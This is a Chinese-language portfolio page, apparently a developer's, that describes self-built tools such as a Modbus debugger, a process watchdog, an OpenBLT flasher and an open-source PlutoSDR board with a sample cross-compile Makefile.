采集频率: 取决于外部adc模块和ebaz4205矿板的以太网接口速率,最高可以达到100M/8 约为12.5MPS

上位机实现功能: 采集,显示波形,存储wave文件。

参数可运行时配置

上位机:

显示缓冲区大小可调

刷新率可调节

触发显示刷新可调节

进程守护工具

基本功能:

1. 守护进程,被守护程序崩溃后自动重启。

2. 进程输出获取,显示在编辑框中。

二进制包

openblt 烧录工具

基本功能:

1. 加载openblt 文件,下载到具有openblt bootloader 运行的单片机中。

二进制包

opencv 功能验证工具(开源项目二次开发)

基本功能:

1. 插件化图像处理流程,支持自定义图像处理流程。 2. 完善的日志和权限管理

二进制包

又一个modbus调试工具

最近混迹物联网企业,发现目前缺少一个简易可用的modbus调试工具,本软件旨在为开发者提供一个简单modbus测试工具。
主打一个代码简单易修改。
特点:

1. 基于QT5

2. 基于libmodbus

3. 三方库完全跨平台,linux/windows。

二进制包

屏幕录制工具

1. 基于QT5

2. 基于ffmpeg

3. 支持自定义录屏

源代码

开源plutosdr 板卡

1. 完全开源

2. 提高固件定制服务

3. 硬件售价450 手焊产量有线

测试数据

内部DDS回环测试

接收测试

外部发送500MHZ FM波形

硬件原理图

matlab测试

2TRX版本

大部分plutosdr应用场景都是讲plutosdr板卡作为射频收发器来使用。
实际上plutosdr板卡本身运行linux 操作系统。是具有一定脱机运算的能力。 对于一些微型频谱检测,简单射频信号收发等应用完全可以将应用层直接实现在板卡上
相较于通过网卡或者USB口传输具有更稳定,带宽更高等优点。
本开源板卡由于了SD卡启动,较原版pluto支持了自定义启动应用的功能。
提供了应用层开发SDK(编译器,buildroot文件系统)。
通过usb连接电脑,经过RNDIS驱动可以近似为通过网卡连接
(支持固件的开发定制)。

二次开发例子

``` all:
arm-linux-gnueabihf-gcc -mfloat-abi=hard --sysroot=/root/v0.32_2trx/buildroot/output/staging -std=gnu99 -g -o pluto_stream ad9361-iiostream.c -lpthread -liio -lm -Wall -Wextra -lrt
clean:
rm pluto_stream

bsdiff算法补丁生成器

1. 官方bsdiff算法例子自带bzip压缩方式

2. 本例子没有压缩,直接生成补丁文件

3. 图形化界面基于DUILIB

二进制文件

版面分析即分析出图片内的具体文件元素,如文档标题,文档内容,文档页码等,本工具基于cnstd模型

Base64 Image

. 闽ICP备19002644号